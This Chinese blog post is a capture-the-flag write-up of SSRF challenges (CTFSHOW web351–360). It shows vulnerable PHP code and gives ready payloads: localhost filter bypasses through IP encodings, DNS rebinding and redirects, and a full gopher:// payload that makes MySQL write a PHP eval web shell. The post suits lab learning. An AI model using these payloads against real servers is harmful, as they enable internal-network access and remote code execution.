SSRF学习

2023-10-23 08:11:28

文章目录

基础知识
CTFSHOW-web351
CTFSHOW-web352(ip地址变形)
CTFSHOW-web353
CTFSHOW-web354
CTFSHOW-web355-web356
CTFSHOW-web357
CTFSHOW-web358
CTFSHOW-web359（SSRF打mysql）
CTFSHOW-web360（SSRF打redis）

基础知识

ssrf漏洞，全称为服务端请求伪造漏洞，由于有的web应用需要实现从其它服务器上获取资源的功能，但是没有对url进行限制，导致可以构造非本意的url对内网或者其它服务器发起恶意请求。

ssrf漏洞的危害可以通过ssrf漏洞可以对内网或本地机器进行主机发现，服务版本探测或者针对内网或本地一些薄弱的应用进行攻击，同时利用ssrf漏洞还可以时服务器主动发起请求，从而做为一个攻击跳板或者绕过CDN找到其服务器的真实ip

file_get_contents()，fsockopen()，curl_exec()三个函数使用不当时将会造成ssrf

实例

初始化一个新的cURL会话并获取一个网页

<?php
// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.baidu.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源，并且释放系统资源
curl_close($ch);
?>

CTFSHOW-web351

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

post传参

url=127.0.0.1/flag.php
url=file:///var/www/html/flag.php

CTFSHOW-web352(ip地址变形)

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

使用不同进制的url绕过，ip地址进制转换

url=http://0x7f000001/flag.php

更多姿势

十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式，还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
还有很多方式不想多写了
url=http://0/flag.php
url=http://0.0.0.0/flag.php

CTFSHOW-web353

同上

CTFSHOW-web354

DNS-Rebinding攻击绕过

# 去`ceye.io`绑定127.0.0.1
url=http://r.a5edel.ceye.io/flag.php

现成的A记录是127.0.0.1的网站

url=http://sudo.cc/flag.php

302跳转绕过，但是我的vps都含有1和0

<?php
header("Location:http://127.0.0.1/flag.php");

CTFSHOW-web355-web356

POST:url=http://0/flag.php

CTFSHOW-web357

vps302跳转

<?php
header("Location:http://127.0.0.1/flag.php");

CTFSHOW-web358

代码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

使用@绕过http://ctf.使用#show或者?show绕过最后的show

POST:url=http://ctf.@127.0.0.1/flag.php?show

CTFSHOW-web359（SSRF打mysql）

使用Gopherus生成payload

py -2 .\gopherus.py --exploit mysql

Give MySQL username: root
Give query to execute: select '<?php eval($_REQUEST[pass]);?>' INTO OUTFILE '/var/www/html/pass.php';

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4f%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%70%61%73%73%5d%29%3b%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%70%61%73%73%2e%70%68%70%27%3b%01%00%00%00%01

注意：还要将生成的payload url编码一下

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254f%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2552%2545%2551%2555%2545%2553%2554%255b%2570%2561%2573%2573%255d%2529%253b%253f%253e%2527%2520%2549%254e%2554%254f%2520%254f%2555%2554%2546%2549%254c%2545%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2570%2561%2573%2573%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

CTFSHOW-web360（SSRF打redis）

生成打redis的payload
需要再url编码一下，生成shell.php，密码为pass

码农公寓